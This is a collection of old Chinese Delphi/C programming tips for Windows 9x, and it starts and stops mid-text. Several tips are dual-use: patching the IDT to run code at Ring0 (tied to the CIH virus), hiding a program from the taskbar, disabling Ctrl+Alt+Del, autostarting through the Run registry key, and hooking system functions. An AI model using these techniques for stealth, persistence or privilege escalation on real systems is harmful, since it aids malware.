procedure TForm1.Button1Click(Sender: TObject);
var
ATInfo:PAT_Info;
jobid:PDword;
begin
getmem(atinfo,sizeof(TAt_info));
getmem(jobid,sizeof(dword));
atinfo^.jobtime:=3*60*60*1000+15*60*1000;//miliseconds from midnight to
3:15
atinfo^.DaysOfMonth:=4294967295;
atinfo^.DaysOfWeek:=255;
atinfo^.command:='c:\showok.exe';
atinfo^.flags:=1;

if NetScheduleJobAdd(nil,atinfo,jobid)<>2
then
showmessage('ok');
freemem(jobid);
freemem(atinfo);
end;

end.


令Win32应用程序跳入系统零层

 众 所 周 知， 在Windows95/98 的Win32 on Intel x86 体 系 中 利 用 了 处 理 器 的 三 环 保 护 模 型 中 的 零 环（Ring0， 最 高 权 限 级 别） 和 三 环（Ring3， 最 低 权 限 级 别）。 一 般 应 用 程 序 都 运 行 在Ring3 下， 受 到 严 格 的" 保 护"， 只 能 规
矩 地 使 用Win32API。 如 果 我 们 想 进 行 一 些 系 统 级 的 操 作， 例 如 在 嵌 入 汇 编 中 使 用 诸 如"Mov EAX，CR0"， 或 像 在DOS 下 那 样 调 用 一 些 必 不 可 少 的 系 统 服 务（ 如BIOS，DPMI 服 务） 而 用"Int xx"， 都 会 导 致" 非 法 操 作"。 但
这 种 能 力 有 时 是 必 不 可 少 的， 一 到 这 种 时 候Microsoft 就 " 建 议 编 写 一 个VxD"。VxD 大 家 早 有 所 闻 了， 在VxD 里， 不 但 可 以 执 行CPU 的 所 有 指 令， 而 且 可 以 调 用VMM( 虚 拟 机 管 理 器） 和 其 他VxD 提 供 的 上 千 个 系 统 级 服
务。 获 得 这 一 能 力 的 最 本 质 原 因 在 于 它 运 行 在Ring0， 与 系 统 内 核 同 一 级 别。 但 是 它 体 系 的 复 杂 性、 开 发 工 具 的 不 易 获 得、 帮 助 文 档 的 不 完 备， 使Microsoft 排 除 了 一 大 批 程 序 员 和 竞 争 对 手。 而 将
在Windows2000（Windows98 也 开 始 支 持） 中 取 代VxD 的WDM 对Win95 程 序 员 也 是 个 噩 梦， 它 需 要 了 解Windows NT 核 心 驱 动 模 型。

----有 没 有 简 单 一 些 的 办 法 呢 ？ 我 们 可 以 令 一 个 普 通Win32 应 用 程 序 运 行 在Ring0 下， 从 而 获 得VxD 的 能 力 吗 ？ 答 案 是 肯 定 的。 下 面 我 们 就 简 述 一 下 这 一 技 巧， 有 关Intel x86 保 护 模 式 的 基 础 知 识 请 大 家 看 有
关 书 籍。

----首 先 此 技 巧 基 于 以 下 理 论 根 据：

----一、SIDT 指 令（ 将 中 断 描 述 符 表 寄 存 器 IDTR － －64 位 宽，16 ～47Bit 存 有 中 断 描 述 符 表IDT 基 地 址 － － 的 内 容 存 入 指 定 地 址 单 元） 不 是 特 权 指 令， 就 是 说 我 们 可 以 在Ring3 下 执 行 该 指 令， 获 得IDT 的 基 地 址，
从 而 修 改IDT， 增 加 一 个 中 断 门 安 置 我 们 的 中 断 服 务， 一 旦Ring3 程 序 中 产 生 此 中 断，VMM 就 会 调 用 此 中 断 服 务 程 序， 而 此 中 断 服 务 程 序 就 运 行 在Ring0 下 了。 这 一 点 与 在DOS 下 非 常 相 似。

----二、Windows95 Win32 应 用 程 序 运 行 一 个 映 射 到 全 部4G 内 存 的 段 中， 选 择 子 为0137h，Ring0 中 的VxD 运 行 在 另 一 个 映 射 到 全 部4G 内 存 的 段 中， 选 择 子028h， 这 两 个 段 除 了 选 择 子 决 定 的 访 问 权 限 不 同 外， 没 什 么 不
同， 各 自 段 中 相 同 的 偏 移 量 对 应 了 相 同 的 线 性 地 址。 所 以 我 们 放 在Win32 应 用 程 序 中 的 中 断 服 务 程 序 可 以 以Ring3 的 段 偏 移 量 被Ring0 中 的VMM 寻 址。

----下 面 我 们 以 具 体 例 子 进 一 步 说 明， 程 序 中 有 详 细 注 释。

----这 是 一 个Win32 Console Program（ 控 制 台 应 用 程 序）， 虽 然 运 行 中 看 起 来 很 像DOS 筐 中 运 行 的 实 模 式DOS 程 序， 但 它 是 货 真 价 实 的 运 行 在Ring3 下 的Win32 程 序。 用Visual C ＋ ＋ 5.0 AppWizard 创 建 一 个Win32 Console Program
项 目, 添 加 以 下.CPP 文 件, 编 译 即 可。

＃include
＃include
＃include
＃include
// 若 无DDK 带 下 划 线 的 可 略 去，
这 些 语 句 演 示 了 调 用VMM/VXD 服 务
DWORDLONG IDTR,SavedGate;
WORD OurGate[4]={0,0x0028,0xee00,0x0000};
// 中 断 门 描 述 符 格 式 如 下：

DWORD _eax,_ecx,_cr0;
WORD vmmver;
HVM sysvm;

void nothing()
{
//Used to test call in Ring0
sysvm=Get_Sys_VM_Handle();
}

void __declspec( naked ) Ring0Proc(void)
// 中 断 例 程， 运 行 在Ring0
{
_asm{
mov _eax,eax //
mov _ecx,ecx //
mov eax, CR0
// 测 试Ring3 中 不 能 执 行 的 特 权 指 令
mov _cr0,eax //
}
VMMCall(Get_VMM_Version);
// 调 用VMM 服 务
_asm{
mov vmmver,ax
}
nothing();
// 测 试 在 运 行 于Ring0 的
中 断 例 程 中 调 用 子
      _asm iretd
// 中 断 返 回, 与 在 实 模 式
编 程 无 本 质 区 别
}
void main() // 主 程 序
{
_asm{
mov eax, offset Ring0Proc
mov [OurGate], ax // 将 中 断 函 数 的 地 址
shr eax, 16 // 填 入 新 造 的 中 断 门
mov [OurGate ＋6], ax // 描 述 符

sidt fword ptr IDTR
// 将 中 断 描 述 符 表 寄 存 器（IDTR）
的 内 容 取 出
mov ebx, dword ptr [IDTR ＋2]
// 取 出 中 断 描 述 符 表（IDT） 基 地 址
add ebx, 8 ＊9
// 计 算Int 9 的 描 述 符 应 放 置 的 地 址 选 用
Int9 是 因 为 它 在Win32 保 护 模 式 下 未 占 用

mov edi, offset SavedGate
mov esi, ebx
movsd // 保 存 原 来 的Int 9 描 述 符 到
movsd //SavedGate 以 便 恢 复

mov edi, ebx
mov esi, offset OurGate
movsd // 替 换 原 来 的 中 断 门 描 述 符
movsd // 以 安 装 中 断 服 务 例 程

mov eax,0x6200
// 用 以 测 试 放 在EAX 中 的 数 据
能 否 正 确 传 到Ring0 中 断
mov ecx,0
// 用 以 测 试 放 在ECX 中 的 数 据
能 否 正 确 传 到Ring0 中 断
mov ecx,0
// 用 以 测 试 放 在ECX 中 的 数 据
能 否 正 确 传 到Ring0 中 断
// 因 为 很 多VxD 服 务 都 用
此 二 寄 存 器 传 递 参 数
int 9h
// 人 为 触 发 中 断, 平 时 会 出 现
保 护 错 误 蓝 屏 或 非 法 操
// 作 对 话 框， 现 在 安 装 了
// 中 断 服 务 例 程 后， 就 会 通 过
//VMM 在Ring0 调 用 中 断 服 务 例 程
－ －Ring0Proc

mov edi, ebx
mov esi, offset SavedGate
movsd // 恢 复 原 来 的 中 断 门 描 述 符
movsd
}
cout<<"CR0="<<_cr0<
运 行 结 果：

----此 方 法 的 好 处 一 是 回 避 了 奇 特 的VxD
文 件 格 式， 不 用 使 用 汇 编 语 言 编 程， 二 是 应 用 程 序 不 用 带 一 个 单
独 的VxD 文 件， 干 净 利 索。
----值 得 一 提 的 是， 许 多 文 章 描 述 著 名 的
CIH 病 毒 都 说 其 利 用 了VxD 技 术， 是 说 它 带 一 个 单 独 的VxD 文 件
吗 ？ 显 然 不 可 能， 实 际 上CIH 病 毒 使 用 的 就 是 以 上 技 巧， 进 入Ring0
后 调 用VMM 服 务 分 配 一 块 内 存， 把 自 身 拷 贝 进 去， 然 后 用IFS VxD 的
IFSMgr_InstallFileSystemApiHook 服 务 安 装 文 件 系 统 监 视 以 感 染 其 他 文
件， 只 不 过CIH 病 毒 安 装 的 是Int 3 中 断， 这 跟 在DOS 下 没 什 么 两 样。
我 们 也 可 以 对 此 了 解 以 更 好 地 防 范CIH 病 毒。
----最 后 还 要 指 出 其 缺 陷， 这 个 技 巧 仅 能 用
在Windows95/97/98 下， 在Windows NT 下 行 不 通。 不 过 听 说CIH 病 毒 的 作 者
已 经 开 发 了NT 版 的CIH 病 毒， 说 明NT 中 也 有 类 似 的" 后 门"。


隐藏程序

大家知道，在Win9x下实现很容易，但是在WinNT下就不那么……

program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1},
Windows;

{$R *.RES}

var
ExtendedStyle : Integer;

begin
Application.Initialize;

//==============================================================
ExtendedStyle := GetWindowLong (Application.Handle, GWL_EXSTYLE);

SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle OR WS_EX_TOOLWINDOW
AND NOT WS_EX_APPWINDOW);
//===============================================================

Application.CreateForm(TForm1, Form1);
Application.Run;
end.
///////////////////////////////////////////////////////////////
    一般Windows 95运行程序时都会在任务栏上出现按钮，如果你的程序是一个监视程序，那么出现按钮就不是明智之举了。要实现该功能就要在OnCreate事件里利用到API函数SetWindowLong
procedure TForm1.FormCreate(sender:TObject);
begin
SetWindowLong(Application,Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;
/////////////////////////////////////////////////////////
ShowWindow(Application.Handle, SW_HIDE);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE)
or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);


如何使windows无法切换掉你的程序

 设置: systemparametersinfo(spi_screensaverrunning,1,nil,0);
取消: systemparametersinfo(spi_screensaverrunning,0,nil,0);


转让控制权

     有时由于长时间的循环语句占用了cpu的处理权，无法运行 其他程序，照成死循环。这时用以下命令转让控制权，让操作系统处理其他事件。
Application.ProcessMessages;


写小执行程序

象C语言一样，用Delphi也能写出只有几十K、十几K、甚至只有几K的小程序，本文将

以一个能将Win95桌面藏起来的仅有38K的小程序为例教会读者这一技巧，同时本文还

将涉及Win95 TrayIcon的显示。

本程序能写得很小的诀窍是：根本没有用任何的 Form 。也就是说，源程序只有一个

Desktop.dpr 文件，程序完全用标准的 WINAPI 写成，由于用到的资源很少，所以程

序的体积也很小。当然，用这样的方法编程时不能使用 Delphi的所见即所得的编程方

式。}

{首先看看程序头的写法：}

program DeskPop;

uses Windows, Messages, ShellAPI, sysutils;

{$R *.RES}

{可以看出本程序比普通的 Delphi 程序用到的 Unit 少的多。 下面声明了全局常量和变

量，暂时可以

不管他们。}

const

AppName = 'DeskTop Hide';

var

x: integer;

tid: TNotifyIconData;

WndClass: array[0..50] of char;

{现在进入程序的主要部分，首先是定义了一批过程，为了能让读者更好地理解，我们先

把这些过程跳过

去，先说主程序。主程序位于程序的最后，这样做的好处是可以直接使用程序中定义的过

程。主程序十分

简单：}

begin

WinMain;

end.

{看来所有的工作都由 WinMain 完成了。这个 WinMain 使用标准的 WinAPI 函数进行编

程，主要步骤

是：先声明一个窗口类，然后创建一个主窗口，最后进入消息循环，直到程序结束。}

procedure WinMain;

var

Wnd: hWnd; {声明窗口句柄(Handle)变量}

Msg: TMsg; {声明消息变量}

cls: TWndClass; {窗口类变量}

begin

{ Previous instance running ? If so, exit }

{ 检查是否程序已经运行，如果已经运行则调用Panic过程退出 }

if FindWindow (AppName, Nil) <> 0 then

Panic (AppName + ' is already running.');

{ Register the window class }

{ 这里的注册窗口类程序是例行公事，照抄即可}

FillChar (cls, sizeof (cls), 0); {用这一句将窗口类变量cls清零)

cls.lpfnWndProc := @DummyWindowProc; {取回调函数DummyWindowProc的地址}

cls.hInstance := hInstance; {实例句柄}

cls.lpszClassName := AppName; {窗口类名}

RegisterClass (cls); {注册窗口类cls}

{ 现在可以创建程序的主窗口了-在本程序中是个虚拟窗口}

{ Now create the dummy window }

Wnd := CreateWindow (AppName, AppName, ws_OverlappedWindow,

cw_UseDefault, cw_UseDefault, cw_UseDefault, cw_UseDefault,

0, 0, hInstance, Nil);

x:= 0; {变量X其实是个开关变量，记录现在是否已经隐藏了桌面}

{ 如果窗口创建成功，则显示窗口，并进入消息循环 }

if Wnd <> 0 then

begin

ShowWindow (Wnd, sw_Hide);{本例中窗口是隐藏的}

{ 下面进入消息循环，该循环将不断运行直到 GetMessage返回0 }

while GetMessage (Msg, 0, 0, 0) do

begin

TranslateMessage (Msg);

DispatchMessage (Msg);

end;

end;

end;

{现在看来，程序的主框架很明了，但是它还不能完成任何任务。过程 Panic将显示一个

对话框后退出程

序，它在 Winmain 过程的开始部分被调用，其实 Panic的功能很简单，之所以要写成一

个函数的原因恐

怕一方面是结构化编程的需要，另一方面借此避开了 String 和 PChar 的转换。}

procedure Panic (szMessage: PChar);

begin

if szMessage <> Nil then

MessageBox (0, szMessage, AppName, mb_ok);

Halt (0);

end;

{下面是回调(Callback)函数 DummyWindowProc，如果说 Winmain 过程是本程序-或者说

是本应用或实

例的生命，那么这个回调函数可以说是主窗口的灵魂。每一个标准的或者说是规范的

Windows窗口都有一

个回调函数，以处理发给该窗口的消息。所谓“回调”的意思是这个函数不是由程序直接

调用的，而是由

Windows 系统调用(还记得我们在窗口类中给lpfnWndProc赋过值吗)， 这就是事件驱动编

程。}

function DummyWindowProc (Wnd: hWnd; Msg, wParam: Word; lParam: LongInt)

: LongInt; stdcall; {注意这里有一个 stdcall;定义了回调函数}

var

TrayHandle: THandle;

dc: hDC;

i: Integer;

pm: HMenu;

pt: TPoint;

begin

DummyWindowProc := 0;

{下面两句是找到 Win95 任务栏的句柄}

StrPCopy(@WndClass[0], 'Progman');

TrayHandle := FindWindow(@WndClass[0], nil);

{下面开始处理消息}

case Msg of

{收到窗口创建消息 - 在任务栏上显示一个图标}

wm_Create: // Program initialisation - just set up a tray icon

begin

tid.cbSize := sizeof (tid);

tid.Wnd := Wnd;

tid.uID := 1;

tid.uFlags := nif_Message or nif_Icon or nif_Tip;

tid.uCallBackMessage := wm_User;

tid.hIcon := LoadIcon (hInstance, 'MAINICON');

lstrcpy (tid.szTip,'Desktop is on');

Shell_NotifyIcon (nim_Add, @tid);

end;

wm_Destroy: {收到关闭窗口消息时的处理}

begin

Shell_NotifyIcon (nim_Delete, @tid);

PostQuitMessage (0);

ShowWindow(TrayHandle, SW_RESTORE);

end;

{收到菜单消息时调用 HandleCommand 过程，并退出函数}

wm_Command: // Command notification

begin

HandleCommand (Wnd, LoWord (wParam));

Exit;

end;

{收到其他用户消息时的处理}

wm_User: // Had a tray notification - see what to do

{如果单击了鼠标左键， 则打开或关闭桌面}

if (lParam = wm_LButtonDown) then

begin

if x = 0 then

begin

ShowWindow(TrayHandle, SW_HIDE);

tid.hIcon := LoadIcon (hInstance, 'offICON');

lstrcpy (tid.szTip,'Desktop is off');

Shell_NotifyIcon (NIM_MODIFY, @tid);

x:=1

end else

begin

ShowWindow(TrayHandle, SW_RESTORE);

tid.hIcon := LoadIcon (hInstance, 'ONICON');

lstrcpy (tid.szTip,'Desktop is on');

Shell_NotifyIcon (NIM_MODIFY, @tid);

x:= 0;

end; {end of if}

end else

{如果是鼠标右键，则动态生成一个弹出式菜单}

if (lParam = wm_RButtonDown) then

begin

GetCursorPos (pt);

pm := CreatePopupMenu;

AppendMenu (pm, 0, Ord ('A'), 'About DeskTop Hide...');

AppendMenu (pm, mf_Separator, 0, Nil);

AppendMenu (pm, 0, Ord ('E'), 'Exit DeskTop Hide');

SetForegroundWindow (Wnd);

dc := GetDC (0);

if TrackPopupMenu (pm, tpm_BottomAlign or tpm_RightAlign,

pt.x,GetDeviceCaps(dc,HORZRES){pt.y}, 0, Wnd, Nil)

then SetForegroundWindow (Wnd);

DestroyMenu (pm)

end; {end of if}

end; {end of case}

{在处理过消息之后，还要调用默认函数，以完成标准的Windows程序应该执行的任务，所

以这一句非常重

要}

DummyWindowProc := DefWindowProc (Wnd, Msg, wParam, lParam);

end;

{这个就是处理菜单消息的过程}

procedure HandleCommand (Wnd: hWnd; Cmd: Word);

begin

case Cmd of

Ord ('A'): MessageBox (0, 'Freeware brian.slack@strath.ac.uk 1997',

AppName, mb_ok);

Ord ('E'): PostMessage (Wnd, wm_Close, 0, 0);

end;

end;

至此我们已经完成了这个只有38K的能将Win95桌面隐藏起来的程序，只要将本文中所

有的函数和过程的顺序倒置，并将主程序放到最后，即可编译通过。


启动控制面板的各个设置功能

var x:cardinal;
begin
{启动控制面板}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL',9);
{辅助选项 属性-键盘}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL access.cpl,,1',9);
{辅助选项
属性-声音}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
access.cpl,,2',9);
{辅助选项 属性-显示}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL access.cpl,,3',9);
{辅助选项
属性-鼠标}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
access.cpl,,4',9);
{辅助选项 属性-常规}

x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
access.cpl,,5',9);
{添加/删除程序 属性-安装/卸载}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Appwiz.cpl,,1',9);
{添加/删除程序
属性-Windows安装程序}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Appwiz.cpl,,2',9);
{添加/删除程序 属性-启动盘}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Appwiz.cpl,,3',9);
{显示
属性-背景}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
desk.cpl,,0',9);
{显示 属性-屏幕保护程序}

x:=winexec('rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1',9);
{显示
属性-外观}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
desk.cpl,,2',9);
{显示 属性-设置}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL desk.cpl,,3',9);
{Internet
属性-常规}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Inetcpl.cpl,,0',9);
{Internet 属性-安全}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Inetcpl.cpl,,1',9);
{Internet
属性-内容}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Inetcpl.cpl,,2',9);

{Internet 属性-连接}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Inetcpl.cpl,,3',9);
{Internet 属性-程序}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Inetcpl.cpl,,4',9);
{Internet
属性-高级}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Inetcpl.cpl,,5',9);
{区域设置 属性-区域设置}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Intl.cpl,,0',9);
{区域设置
属性-数字}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Intl.cpl,,1',9);
{区域设置 属性-货币}

x:=winexec('rundll32.exe shell32.dll,Control_RunDLL Intl.cpl,,2',9);
{区域设置
属性-时间}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Intl.cpl,,3',9);
{区域设置 属性-日期}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL
Intl.cpl,,4',9);
{游戏控制器-一般}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL
Joy.cpl,,0',9);
{游戏控制器-高级}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Joy.cpl,,1',9);
{鼠标
属性}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL Main.cpl',9);

{多媒体 属性-音频}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Mmsys.cpl,,0',9);
{多媒体 属性-视频}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Mmsys.cpl,,1',9);
{多媒体
属性-MIDI}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Mmsys.cpl,,2',9);
{多媒体 属性-CD音乐}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Mmsys.cpl,,3',9);
{多媒体
属性-设备}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Mmsys.cpl,,4',9);
{调制解调器 属性}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Modem.cpl',9);

{网络}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Netcpl.cpl',9);
{密码 属性}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Password.cpl',9);
{扫描仪与数字相机
属性}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Sticpl.cpl',9);
{系统 属性-常规}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Sysdm.cpl,,0',9);
{系统
属性-设备管理器}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Sysdm.cpl,,1',9);
{系统 属性-硬件配置文件}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL Sysdm.cpl,,2',9);

{系统 属性-性能}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Sysdm.cpl,,3',9);
{日期/时间 属性}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL timedate.cpl',9);
{电源管理
属性}
x:=winexec('rundll32.exe shell32.dll,Control_RunDLL
Powercfg.cpl',9);
{拨号属性}
x:=winexec('rundll32.exe
shell32.dll,Control_RunDLL
Telephon.cpl',9);
{----------------------调用错误----------------------}
if
x=0 then messagebox(0,'程序超出内存','错误',0);
if x=ERROR_BAD_FORMAT then
messagebox(0,'该程序非一个合法的Win32.EXE程序).','错误',0);

if x=ERROR_FILE_NOT_FOUND then messagebox(0,'指定文件没找到','错误',0);
if
x=ERROR_PATH_NOT_FOUND then
messagebox(0,'指定路径没找到','错误',0);
end;


禁止用户用Alt+Tab切换任务

    假定我们要设计一个Windows95的口令程序，该程序运行时需要覆盖整个桌面，并且不允许用户用Alt+Esc、Ctrl+Esc等系统组合键来切换到其他程序。为达到此目的，可按以下步骤：

将Form的FormStyle属性设为fsStayOnTop
将Form的WindowState属性设为wsMaximized
在Form的OnCreate事件处理过程中为Windows发送一个屏幕保护程序正在运行的消息
当程序结束时清除屏幕保护程序运行标志。
示例代码：

procedure TForm1.FormCreate(Sender: TObject);
var
temp: Integer;
begin
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @temp, 0);
end;

procedure Form1.OnClose(Sender: TObject; var Action: TCloseAction);

var
temp: Integer;
begin
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, @temp, 0);
end;


将程序放在Windows启动中

       有时需要让Windows在启动时自动运行你的程序,如何在程序中实现呢?

       使用Regedit查找HKEY_LOCALMACHINE\Sodtware\Microsoft\Windows\CurrentVersion\Run,你会发现所有的Windows启动时调用的程序都在这里,于是你将你的程序增加在这里就可以了.名称为你的程序的标题,其值为你的程序的执行路径和文件名称.

       如Interbase:
         Interbase Server"D:\Program Files\Borland\IntrBase\BIN\ibserver.exe"

       在程序中实现可以使用TRegIniFile或者使用TRegistry都可以.

       User Registry;

       Var

               RegF:TRegistry;
       begin
                 RegF:=TRegistry.Create;
                 RegF.RootKey:=HKEY_LOCAL_MACHINE;
               try
                           RegF.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True);
                           RegF.WriteString('Interbase Server',
                                                                       '"D:\Program Files\Borland\IntrBase\BIN\ibserver.exe"');
                             except
                                       ...
                               End;
                               RegF.Close;

                               RegF.Free;
       end;


控制热启动

 要使系统的热启动键（Ctrl+Alt+Del）失效，使用以下语句
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, 0, 0);
要恢复系统的热启动键（Ctrl+Alt+Del），使用以下语句
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0);


防止Win95显示严重错误

你是否遇到过这样的情况：不管你的程序如何反复调试，交给用户之后，总有可能
发生你意想不到的错误，如何避免Win95显示出白色的窗口，告诉你的用户发生了难堪
的意外错误呢？我们可以这样做：

var wOldErrorMode:Word;
begin
wOldErrorMode:=SetErrorMode(SEM_FAILCRITICALERRORS);
try
finally
SetErrorMode(wOldErrorMode);
end;
end;
你再试一下，还有这样的错误吗？


屏蔽系统功能键

     当你不需要让用户按Alt+Enter、Ctrl+Alt+Del、Ctrl+Esc等功能键的时候加入以下代码：
Var
temp:integer;
begin
SystemParametersInfo(Spi_screensaverrunning,1,@temp,0);
end;
    当你要恢复功能键时用以下代码：
Var
Temp:integer;
begin
SystemParametersInfo(spi_screensaverrunning,0,@temp,0);
end;


截获系统函数

系统函数重定位的例子,从<<计算机世界日报>>上Copy出来的.

//源程序 relocate.c
#include <WINDOWS.H>
#include <dos.h>
BOOL WINAPI MyExtTextOut(HDC hDC, int x, int y, UINT nIn
t1, const RECTFAR*p Rect,LPCSTR lpStr, UINT nInt2, int FAR*
lpInt);
WORD FAR PASCAL AllocCStoDSAlias(WORD code_sel);
typedef struct tagFUNC
{
FARPROC lpFarProcReplace; //替代函数地址
FARPROC lpFarProcWindows; //Windows函数地址
BYTE bOld; //保存原函数第一字节
LONG lOld; //保存原函数接后的四字节长值
}FUNC;
FUNC Func={MyExtTextOut,ExtTextOut};
//Windows主函数
int PASCAL WinMain(HINSTANCE hInstance,HINSTANCE hPrevIn
stance,LPSTR lpCmdi ne,int nCmdShow){
HANDLE hMemCode; //代码段句柄
WORD hMemData; //相同基址的可写数据段别名
WORD wOffset; //函数偏移
LPSTR lpStr;
LPLONG lpLong;
char lpNotice[96];
hMemCode=HIWORD((LONG) Func.lpFarProcWindows );
wOffset=LOWORD((LONG) Func.lpFarProcWindows );
wsprintf(lpNotice,"函数所在模块句柄 0x%4xH,偏移 0x%4xH",
hMemCode,wOffset);
MessageBox(NULL,lpNotice,"提示",MB_OK);
//取与代码段有相同基址的可写数据段别名
hMemData=AllocCStoDSAlias(hMemCode);
lpStr=GlobalLock(hMemData);
lpLong=(lpStr+wOffset+1 );
//保存原函数要替换的头几个字节
Func.bOld=*(lpStr+wOffset);
Func.lOld=*lpLong;
*(lpStr+wOffset)=0xEA;
*lpLong=Func.lpFarProcReplace;
GlobalUnlock(hMemData);
MessageBox(NULL,"改为自己的函数","提示",MB_OK);
//将保留的内容改回来
hMemData=AllocCStoDSAlias(hMemCode);
lpStr=GlobalLock(hMemData);
lpLong=(lpStr+wOffset+1 );
*(lpStr+wOffset)=Func.bOld;
*lpLong=Func.lOld;
GlobalUnlock(hMemData);
MessageBox(NULL,"改回原Windows函数","提示",MB_OK);
return 1;
}
//自己的替代函数
BOOL WINAPI MyExtTextOut(HDC hDC, int x, int y, UINT nIn
t1, const RECT FAR lpRect, LPCSTR lpStr, UINT nInt2, int FAR
* lpInt){
BYTE NameDot[96]={
0x09, 0x00, 0xfd, 0x08, 0x09, 0x08, 0x09, 0x10, 0x09, 0x
20,
0x79, 0x40, 0x41, 0x04, 0x47, 0xfe, 0x41, 0x40, 0x79, 0x
40,
0x09, 0x20, 0x09, 0x20, 0x09, 0x10, 0x09, 0x4e, 0x51, 0x
84,
0x21, 0x00, 0x02, 0x00, 0x01, 0x04, 0xff, 0xfe, 0x00, 0x
00,
0x1f, 0xf0, 0x10, 0x10, 0x10, 0x10, 0x1f, 0xf0, 0x00, 0x
00,
0x7f, 0xfc, 0x40, 0x04, 0x4f, 0xe4, 0x48, 0x24, 0x48, 0x
24,
0x4f, 0xe4, 0x40, 0x0c, 0x10, 0x80, 0x10, 0xfc, 0x10, 0x
88,
0x11, 0x50, 0x56, 0x20, 0x54, 0xd8, 0x57, 0x06, 0x54, 0x
20,
0x55, 0xfc, 0x54, 0x20, 0x55, 0xfc, 0x5c, 0x20, 0x67, 0x
fe,
0x00, 0x20, 0x00, 0x20, 0x00, 0x20
};
HBITMAP hBitmap,hOldBitmap;
HDC hMemDC;
BYTE far *lpDot;
int i;
for ( i=0;i<3;i++ )
{
lpDot=(LPSTR)NameDot+i*32;
hMemDC=CreateCompatibleDC(hDC);
hBitmap=CreateBitmap(16,16,1,1,lpDot);
SetBitmapBits(hBitmap,32L,lpDot);
hOldBitmap=SelectObject(hMemDC,hBitmap);
BitBlt(hDC,x+i*16,y,16,16,hMemDC,0,0,SRCCOPY);
DeleteDC(hMemDC);
DeleteObject(hBitmap);
}
return TRUE;
}
//模块定义文件 relocate.def
NAME RELOCATE
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA PRELOAD MOVEABLE MULTIPLE
HEAPSIZE 1024
EXPORTS


响应即插即用变化

type
TForm1 = class(TForm)
Button1: TButton;
private
{ Private declarations }
procedure WMDeviceChange(var Message: TMessage);
message WM_DEVICECHANGE;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

const DBT_DEVICEARRIVAL = $8000;
const DBT_DEVICEQUERYREMOVE =
$8001;
const DBT_DEVICEQUERYREMOVEFAILED = $8002;
const
DBT_DEVICEREMOVEPENDING = $8003;
const DBT_DEVICEREMOVECOMPLETE =
$8004;
const DBT_DEVICETYPESPECIFIC = $8005;
const DBT_CONFIGCHANGED =
$0018;

procedure TForm1.WMDeviceChange(var Message: TMessage);
var
s : string;
begin
{Do Something here}
case Message.wParam of
DBT_DEVICEARRIVAL :
s := 'A device has been inserted and is now available';
DBT_DEVICEQUERYREMOVE: begin
s := 'Permission to remove a device is requested';
ShowMessage(s);
{True grants premission}
Message.Result := integer(true);
exit;
end;
DBT_DEVICEQUERYREMOVEFAILED :
s := 'Request to remove a device has been canceled';
DBT_DEVICEREMOVEPENDING :
s := 'Device is about to be removed';
DBT_DEVICEREMOVECOMPLETE :
s := 'Device has been removed';
DBT_DEVICETYPESPECIFIC :
s := 'Device-specific event';
DBT_CONFIGCHANGED :
s:= 'Current configuration has changed'
else s := 'Unknown Device Message';
end;
ShowMessage(s);
inherited;
end;


从命令行获得长文件名

 procedure TForm1.Button1Click(Sender: TObject);
var
s : string;
begin
s:= GetCommandLine;
Delete(s, 1, pos('exe"', s) + 4);
Memo1.Lines.Add(s);
end;


链接的视觉效果

    要有类似WIN98那样指向字体，该字体就出现下划线，鼠标指针变为一支手指，按下后就打开浏览器或邮件编写器的功能，按下列办法做（该方法只是在前面讲的实现超链接的方法上加入一些效果）：
    先在一个窗体中加入一个Label1，加入下列代码
